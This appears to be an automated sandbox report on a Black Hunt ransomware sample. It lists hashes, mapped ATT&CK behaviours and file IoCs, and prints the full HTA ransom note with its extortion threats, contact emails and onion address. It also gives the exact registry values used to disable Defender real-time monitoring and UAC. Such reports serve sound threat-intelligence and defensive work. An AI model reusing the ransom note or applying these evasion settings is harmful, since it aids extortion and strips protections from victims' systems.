5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:30

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General

Target

5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Size

707KB
MD5

758ede9d419081f63aa7ba516768d88b
SHA1

d607dddeb7edc7a33ab7a3d33a6793cb43474373
SHA256

5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435
SHA512

ec4581dd5657f8ddc784f02c09d8b8e8f9318e9d6fc82099974d1bb5ed121044320e1d0a9ea06e1e3ffc43df086001199e9b1d505a0de1d11300a5c1dd62306c
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1F8pvnh:6uaTmkZJ+naie5OTamgEoKxLWoNh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 3EI8MIcH5TK6fYK2 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3412	fsutil.exe
2004	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2112	wevtutil.exe
1824	wevtutil.exe
2264	wevtutil.exe
2576	wevtutil.exe
1100	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1420	bcdedit.exe
2904	bcdedit.exe
2876	bcdedit.exe
2140	bcdedit.exe

Renames multiple (2892) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
868	wbadmin.exe
3004	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3340	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\A:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\H:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\Z:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\T:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\J:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\V:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\P:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\G:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\L:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\I:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\Y:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\E:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\U:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\O:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\S:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\K:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\B:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\N:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\Q:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened (read-only)	\??\X:	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sao_Paulo	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\oracle.gif	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\DVD Maker\bod_r.TTF	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Adelaide	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sampler.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask.wmv	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+5	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiler.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_ReadMe.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_ReadMe.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\calendars.properties	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.pb_2.3.5.v201404071733.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+4	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
